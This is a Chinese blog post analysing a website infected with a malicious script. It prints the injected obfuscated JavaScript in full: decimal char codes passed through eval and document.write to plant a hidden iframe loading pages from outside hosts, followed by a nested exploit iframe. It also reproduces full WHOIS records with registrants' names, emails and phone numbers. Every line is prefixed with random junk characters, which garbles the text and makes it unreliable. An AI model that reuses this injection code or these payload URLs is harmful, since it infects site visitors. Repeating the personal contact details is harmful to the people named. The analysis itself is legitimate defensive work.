首发在我的博客里面，
Z5'^81m$o 8n 5~K.;< http://www.areway.cn/?p=175 mI7lv;oN<5 6]iU-k0b W+a/>U 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
uaO.7QSwN '! ^7 *@z <script>t=’60,105,102,114,97,109,101,
4,;*sc 6* 32,115,114,99,61,104,116,116,112,58,47,47,
G{[w+ObX 102,114,101,101,46,117,45,117,117,117,46,99,
k( Sda>- 110,47,101,114,114,111,114,46,104,116,109,
xmnBG4,f 32,119,105,100,116,104,61,49,48,48,32,104,
<<01@Q < 101,105,103,104,116,61,48,62,60,47,105,102,
znE1t%V 114,97,109,101,62′;
*1EmK.-'u t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
_$R =F/88 >h8m)Q <script>t=’60,105,102,114,97,109,101,32,115,
y!1X 3X,V 114,99,61,104,116,116,112,58,47,47,102,114,
Jpduk&u 101,101,46,117,45,117,117,117,46,99,110,47,
b3%x&H<j 101,114,114,111,114,46,104,116,109,32,119,
?L0;,
\-t 105,100,116,104,61,49,48,48,32,104,101,105,
-u@ ^P7 103,104,116,61,48,62,60,47,105,102,114,97,
, mz;$z6i 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
4wSZ'RTSR document.write(t);</script>
Cdz?+hb 0 8)f <html xmlns=”
CaZc{ http://www.w3.org/1999/xhtml 1 |{s8[;8 “>
nx%A s <head>
tF),Sn|* <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
"B T M,C B <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
RK.lz VaY <title>首页 - 爱生活家庭网
iz=cjmV? '/<\X{l8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
"a2|WKpD 转换字符串后的大概内容是（谁点击后果自付）：
4v bGX b}! <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
lO cFF0' 8 ?82 p 查询玉米u-uuu.cn的详细信息：
HK :K~h Domain Name: u-uuu.cn
fYPu%M N7 ROID: 20070901s10001s64972306-cn
%j^QK >% Domain Status: ok
@ K!JE w\ Registrant Organization: 王雷
pG "wQ Registrant Name: 王雷
nT> v Administrative Email:
czlovexs@126.com d2eXN3" Sponsoring Registrar: 北京万网志成科技有限公司
XB!qPh . Name Server:ns.yovole.com
;)h?P.] Name Server:ns1.yovole.com
:!s7B|_U Registration Date: 2007-09-01 17:54
h
F +aL Expiration Date: 2008-09-01 17:54
{v0r'+` 最后PING了一下地址 都没有什么….
]D;*2Lw4& d(|?gN^ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
,G0"T~ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
[KR%8[e <script language=”javascript” src=”
B{ =DnB6 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script SWw!s &lP& >
f5F-h0HF`[ 这个玉米应该有可能是木马作者的：
b z>\n"' foafau.info的详细信息：
B0yJ9U= Fj Access to INFO WHOIS information is provided to assist persons in
*eHa4I determining the contents of a domain name registration record in the
w=fWW^>bP Afilias registry database. The data in this record is provided by
<B>qE a_I Afilias Limited for informational purposes only, and Afilias does not
>bWpj8Kv guarantee its accuracy. This service is intended only for query-based
FNUs
.d" access. You agree that you will use this data only for lawful purposes
'GezIIaH and that, under no circumstances will you use this data to: (a) allow,
Jd/d\P enable, or otherwise support the transmission by e-mail, telephone, or
d,?D '/ facsimile of mass unsolicited, commercial advertising or solicitations
Ee MKo to entities other than the data recipient’s own existing customers; or
=7e!'cF[ (b) enable high volume, automated, electronic processes that send
Z e> R@rK queries or data to the systems of Registry Operator, a Registrar, or
P Ptmh. }e Afilias except as reasonably necessary to register domain names or
zwC ,,U modify existing registrations. All rights reserved. Afilias reserves
5 { (4 % the right to modify these terms at any time. By submitting this query,
&S
xF"pYV you agree to abide by this policy.
Zq &'a_ Domain ID:D22418703-LRMS
fNi&r0/-t Domain Name:FOAFAU.INFO
,ASNa^7/> Created On:20-Nov-2007 16:05:42 UTC
v7 6P?[ Last Updated On:20-Nov-2007 16:05:44 UTC
gw"SKp!] Expiration Date:20-Nov-2008 16:05:42 UTC
w-JWMgY8w Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
47(_5PFb# Status:CLIENT DELETE PROHIBITED
Y `8)` Status:CLIENT RENEW PROHIBITED
jR}EBaI} Status:CLIENT TRANSFER PROHIBITED
Psf'^42(v Status:CLIENT UPDATE PROHIBITED
#W8F_/!n| Status:TRANSFER PROHIBITED
c/88|k Registrant ID:GODA-040110615
JYj*. Q0 Registrant Name:liu hong
WYF8?1dt + Registrant Organization:
FR6 W-L Registrant Street1:beijing
;+ C$EJw- Registrant Street2:
GXm#\) Registrant Street3:
(b~l.@xh Registrant City:beijing
\},H\kK+^ Registrant State/Province:
-3yK>\y=| Registrant Postal Code:100000
BPv+gx(>k Registrant Country:CN
Q&P WW#D Registrant Phone:+86.860108888777
jY\z+lW6A Registrant Phone Ext.:
>{ {ds-- Registrant FAX:
F c[vs52 Registrant FAX Ext.:
m Ct/\ Registrant Email:bbbshiji@163.com
q}p$S2 ` Admin ID:GODA-240110615
`W}pA mhj Admin Name:liu hong
? ch?q~e) Admin Organization:
Ps.xY;Y Admin Street1:beijing
FVkl# Qy~ Admin Street2:
5uG^ `H@ X Admin Street3:
?@PSD\
Admin City:beijing
P9m Admin State/Province:
|pZ 7k#% Admin Postal Code:100000
] 8wm1_qV Admin Country:CN
rAtCG1Vr Admin Phone:+86.860108888777
j]&Qai~}Y Admin Phone Ext.:
GU `q^q@Ea Admin FAX:
k waZn ~ Admin FAX Ext.:
9=$ p V== Admin Email:bbbshiji@163.com
Jc?zX8>Ae: Billing ID:GODA-340110615
sg-^ oy*^ Billing Name:liu hong
/-!Fr:Ox> Billing Organization:
l8(9?!C
Billing Street1:beijing
#Tzs9Bkaca Billing Street2:
~Y
f8, m Billing Street3:
u9Adu` Billing City:beijing
B &B4 P Billing State/Province:
h-Y>>l>PW0 Billing Postal Code:100000
Tv'1IE Billing Country:CN
]:@{tX 7c Billing Phone:+86.860108888777
6X9$T11Vc Billing Phone Ext.:
An#[
+? Billing FAX:
Y?1T
XsvF Billing FAX Ext.:
ZzBaYoNy[0 Billing Email:bbbshiji@163.com
Y*pXbztP Tech ID:GODA-140110615
!BW!!/U Tech Name:liu hong
b=BNbmX Tech Organization:
HOu$14g Tech Street1:beijing
h
#gI1(uL Tech Street2:
$- ]G6r Tech Street3:
.9Oj+:n Tech City:beijing
CR.d 3!&28 Tech State/Province:
^L.I9a#]
Tech Postal Code:100000
%JPr 7 } Tech Country:CN
03)irq% l; Tech Phone:+86.860108888777
rD$5]%Y Tech Phone Ext.:
kuBtPZ Tech FAX:
IAkQR0fcN
Tech FAX Ext.:
0TV16 -- Tech Email:bbbshiji@163.com
TD floDxA Name Server:NS27.DOMAINCONTROL.COM
`q d5+~c Name Server:NS28.DOMAINCONTROL.COM
9$U>St Name Server:
.<%q9Jy# Name Server:
7hx^U90K Name Server:
F$4=7Njv Name Server:
^m D $# Name Server:
FZU1WBNL%t Name Server:
#O~pf[ [L Name Server:
yn+m,K/ Name Server:
gkt lwiCZ Name Server:
X ] &`"Z] Name Server:
82r{V:NCK) Name Server:
g qORE/[ dHOH] x 接着下载每个文件里面的代码：
o$->|k 一步一步看..
a}` M[%d7 
4e\w C 
fA?Wf[`x 
4MDVR/Z7 
'HfI~wN 
[7x;H 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
